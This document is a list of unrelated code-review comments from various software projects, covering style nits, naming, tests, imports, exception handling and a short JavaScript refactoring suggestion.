The connection between using overrides and the values of these arguments seems a little loose -- really it's because using overrides implies we're in unit test mode, right?  If there was an actual explicit 2nd arg, could we replace these with `unitTestOverrides !== undefined` or some such?  Might be more clear.
Ok, this is not ideal. It would be much better to just avoid doing the `ide.send` call in the function `dontReloadAndStore`. I assume this change was to avoid revisions losing undo history, right?
Is there a limited set of choices? If so you can use `choices=...`.
I see, 'val.downcase' is more simple.
ok, I think I reverted, not sure, because git confuses me sometimes.
Why are you capturing the exception here and not also in the other backend?
These were not special cases, all our lists have this atributes(for now). But ok, I understand what you mean.
Err... it is not, because I re-set it. But still, what is the issue here?
Decide, `'User'` or `User`. You use both in `ReferenceField`s.
count emails from the test?
Can you test for more complicated urls here too? Perhaps a query string already on the url.
You need a space between `height="358"mozallowfullscreen`
`isStartOrEnd` isn't mentioned anywhere else.
classList shim gets rolled into the built butter we'll use via the storycamp make target.
i assume this is a third party lib, so ignoring formatting issues in here unless noted otherwise :)
selectScaleOption is never called with internal == true
Oh, I wasn't aware there was a security question there ...
The first time i tried it failed, then i changed it to 1100 and it worked. Maybe it was an AWS glitch.
Haha, i tried it to make it readable but i over do it. I've changed is as suggested
oh this is not suppose be there :-(
restore this line
需要break内部循环，continue外部循环。不用标号就加局部变量。
Could this cause problems? Since we're changing the model object being pointed to, the caller of this function might expect that the Task object it holds to have changed in memory, when in fact it won't.
We should keep the license.
Musel jsem to přehlédnout.
Yes, that seems the most correct.  However, up until now we've relied pretty much exclusively on the VFS layer for this sort of permission checking and enforcement.  Delegations should probably rely on crgetuid/crgetgid and the ACLs and attribute code should use crgetfsuid/crgetfsguid.
how do you recommend doing this? can think of about 10 ways.
From the UI, a user cannot actually submit an empty request.  The reason being the buttons to perform the actions are disabled, until the user has entered text.  That said, the above was included to provide error handling , in case js were disabled or a regression introduced in the UI controls.
How does this work if I map this route to a different url?
This could be merged into the original loop, as I did with the ...IsDeterministic flags in the post-merge cleanup.
Object is just added to the session here. If `user` is not `None` it is already in `session`.
I'll move this to `init` anyway.
I agree, it's going to be difficult to know a priori if it's going to work.
Yes, it was fixed in my local version, but still need to push.
RenameThread() is now placed here.
I have indented them, that's all. I didn't remove them. I reused them.
Sorry to nitpick, but I'd prefer to say something like "Implement NullHandler because it was only added in Python 2.7+". This code *is* needed in Python 2.7+ because we still reference it, regardless of the fact that Python 2.7+ also provides it.
Still not deleted
I thought I responded to this already - yes, this is always stdlib json, which always returns `str`, whatever that may be.  We should *never* use the pyzmq jsonapi code anywhere that we are not talking directly to a pyzmq socket.
Your code is a bit broken here.
:+1: this leaks.
Why not import this from `firefox.views`, or move it to a utils module somewhere and import from both?
2-space indentation here too please.
Get rid of the inline style?
Ah, that makes more sense. I didn't see `SORT_QUESTIONS` before.
Move to the top of the file unless there's a reason to do the import within the function.
`self.logger.error('failed to close the crashStore', exc_info=True)`
I think that would be ideal. I didn't want to change the existing generic mailer because it seemed invasive.
Why is there a swallowing catch?
All files required to run Tundra should reside inside bin/, or be present in system installation. We should deploy the OGRE plugins from naali-deps/install/lib/OGRE into Tundra bin/  during build time, so that we don't depend on naali-deps at run-time anymore.
parameter order nit: move `converter` to be after `body`
I don't see the point. And honestly, changing the code just for the sake of it is never a good idea.
for 2.2, you should use the dedicated util class from Common
I think you can rename all occurences `hostnamePattern` to simply `hostname` because it's only `prefix` either and not `prefixPattern`.
And the prefix can already contain variables.
I'm not entirely sure... perhaps because we're using colors (to 'highlight' completed text) and other unusual terminal features.
Please use 5.3 notation for arrays (same below).
This seems wrong to me, as it means that any implementation of the interface has to accept a Request object (as the interface specifies it)
`{` should be on its own line.
Shouldn't an "@" be added here?
you should add the description and the help for the command too
well, at least using a more specific name to make clashes less likely (``SYMFONY_BCRYPT_PREFIX`` for instance), and wrapping it in a ``defined`` check
I don't know. If a guesser can't guess, it shouldn't guess. So you can remove this one too.
the part is lent from the [WebProfilerExtraBundle](https://github.com/Elao/WebProfilerExtraBundle/blob/master/DataCollector/TwigDataCollector.php) - if there's something to improve, let me know. It looked very confident to me, so I kept it as it is.
d3 param in function spec?
if getattr(target, 'internal_dependencies', None):
  ...

achieves the same thing
You should also create/update the pom.xml
I think this is absolutelly useless log message. How it can help you? You are usually interested why it failed and not that it just failed
self.ircd.server_port_* is not guaranteed to be a string. It may also be a list.
I suggest learning to work as a team.
But if the client do not have JavaScript, the site will not run (or the search will not run, which is the main reason for coming to the site). For any other site i would agree with you about the JavaScript :-)

You are right about the ID could be insert more than once and will fix this.
My reasoning for this was that a few lines further down, the code iterates over ``placeholders`` again, and I wasn't sure if that causes the queryset to be evaluated twice. A quick test shows this not being the case, though. Thanks for the hint!
Explicitly mark ``PHONY`` targets as such. Indeed, the ``deptools`` reposity also defines an ``INSTALL`` file, which may confuse ``make`` when running ``make install`` on case-insensitive filesystems. Macs are shipped by default with OS X installed on a case-insensitive ``HFS+`` partition.
this is copied from the label css to make the inputs look more like labels rather than making them content-editable and having to change the code
As Brian mentioned on the private thread 'logging subsystem conversion' I think we should keep this attribute (even though it is stupid)
Why is this handled differently compared to the `appendTo` call in `_drawMenu`?
or add a message for ok, the error message is very vague on failures otherwise.
Yeh figured I would do that the same time we make the setting configurable
Yep, you are right. The "Edit" I had in mind should include pick the contact first. I'm ok to remove it at the moment.
we can use an early return to make the code a bit cleaner (and I like having the best case scenario first). something like :

```
    // if screenState doesn't initial yet, use mozSettings to get it
    // otherwise, reuse the screenState.
    if (screenstate || !navigator.mozSettings) {
      openscreen(screenState);
      return;
    }

    var req = navigator.mozSettings.createLock().get('lockscreen.locked');
    req.onsuccess = function dialer_onsuccess() {
      if (req.result['lockscreen.locked']) {
        screenState = 'locked';
      } else {
        screenState = 'unlocked';
      }
      openscreen(screenState);
    };
    req.onerror = function dialer_onerror() {
      // fallback to default value 'unlocked'
      openscreen('unlocked');
    };
```
Indentation seems broken.
You don't want console.log in your tests. It will be ignored in CI and impossible to find on the test output elsewhere.